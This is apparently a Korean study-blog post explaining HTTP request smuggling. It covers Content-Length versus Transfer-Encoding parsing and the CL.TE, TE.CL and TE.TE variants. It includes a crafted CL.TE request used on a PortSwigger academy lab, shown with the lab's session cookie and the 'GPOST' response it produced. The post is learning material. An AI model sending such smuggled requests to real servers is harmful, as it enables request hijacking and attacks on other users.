일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- sql injection
- 웹 기초
- HTTP request smuggling
- web 보안
- Union injection
- 웹 보안
- 웹 해킹 기초
- nginx
- http 취약점
- Injection 공격 기초
- Injection 취약점
- Injection 숫자형
- SQL INJECTION DB NAME
- Linux
- JS
- sql injection table name
- portswigger academy
- SQL Injection basic
- 공부하는 블로그
- DOM 객체
- SQL 인젝션
- web 취약점
- php-fpm
- sql injection 데이터 추출
- BOM 객체
- JavaScript
- SQL having group by
- 웹서버구축
- SQL 주석
- sql 인젝션 기초
- Today
- Total
IMLENA
HTTP request Smuggling 취약점 1 본문
HTTP request smuggling 이란 HTTP request 헤더를 조작하여 웹사이트가 HTTP 요청을 올바르게 처리하지 못하도록 하여 중요한 데이터에 엑세스 하거나 다른 애플리케이션 사용자에게 영항을 미칠 수 있는 공격중 하나이다.
* HTTP 취약점 발생 원인
대부분의 HTTP request smuggling 취약점은 HTTP가 request의 종료를 2개의 다른 방법을 사용하기때문이다.
1) Content-Length
message body의 길이를 bytes로 나타낸다.
Content-Length 사용예시
POST /search HTTP/1.1 Host: website.com Content-Type: application/x-www-form-urlencoded Content-Length: 6 x=test |
2) Transfer-Encoding
어느 방식으로 인코딩을 하는지 정의 하는데 chunked encoding 방식을 사용하는 경우가 있다.
이 헤더의 값이 chunk이면, 메시지 바디 값이 하나 이상의 chunk 데이터가 존재한다는 의미이다.
각 chunk마다 chunk데이터의 값을 16진수로 알려주며 해당 값이 0이면 이어서 나오는 chunk데이터가 없다 = 끝 이라고 해석된다.
Transfer-Encoding 사용예시
POST /search HTTP/1.1 Host: website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked 6 x=test 0 |
6은 16진수의 값이며 data가 10byte인경우 a값이 들어간다.
1개의 메시지에 2개의 메시지 구분 방식을 사용할 수 있고 충돌의 이유로 두 헤더가 같이 쓰이면 Content-Length헤더를 무시 되야 한다.
그러나 서버가 TE.(Transfer-Encoding)을 지원하지 않을 수도 있고 헤더가 난독화된 경우 처리 할 수 없는 경우가 있어 2가지 헤더를 모두 사용하는 경우가 있다.
* HTTP request smuggling 공격 방법
CL(Content-Length), TE(Transfer-Encoding)
1) CL.TE
프론트 서버 CL 사용, 백엔드 서버 TE 사용
2) TE.CL
프론트 서버 TE 사용, 백엔드 서버 CL 사용
3)TE.TE
프론트&백엔드 모두 TE 사용
1. CE.TE 취약점
POST / HTTP/1.1 Host: site.com Content-Length:13 Transfer-Encoding: chunked 0 SMUGGLED |
프론트 서버에서는 CL로 처리하여 SMUGGLED 까지 처리하여 백엔드서버로 보낸다.
백엔드 서버는 TE로 처리하여 chunked 인코딩을 하는데 0이라는 길이를 나타내고 있으므로 request가 끝났다고 처리된다.
이어지는 메시지 SMUGGLED는 처리되지 않고 남는다.
이것을 백엔드 서버에서는 이어지는 다음 요청의 시작으로 간주하고 처리한다.
기존 요청 GET / HTTP/1.1 Host: acce1f9c1f5d27ab807c150600e000f8.web-security-academy.net Cookie: session=oue5K9KOWX5LAMBLxmy9NPK1Ocg01g0j User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://portswigger.net/ Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 Te: trailers Connection: close |
조작된 요청 POST / HTTP/1.1 Host: acce1f9c1f5d27ab807c150600e000f8.web-security-academy.net Cookie: session=oue5K9KOWX5LAMBLxmy9NPK1Ocg01g0j User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://portswigger.net/ Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 Content-Length: 6 Transfer-Encoding: chunked 0 G |
조작된 요청으로
"Unrecognized method GPOST"
응답을 받았다.
(처리되지 못하고 넘어온 G)
TE.CL, TE.TE 취약점과 대응방안은 다음 포스팅
-출처
portswigger.net/web-security/request-smuggling
'WEB' 카테고리의 다른 글
SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 (0) | 2021.09.03 |
---|---|
HTTP request smuggling 취약점 3 - exploit, mitigation (0) | 2021.09.03 |
SQL Injection 기초 - DB Error 기준 (0) | 2021.09.02 |
HTTP request Smuggling 취약점 2 (0) | 2021.09.02 |
WEB 기초 - HTTP, HEADER, STATUS CODES (0) | 2021.08.29 |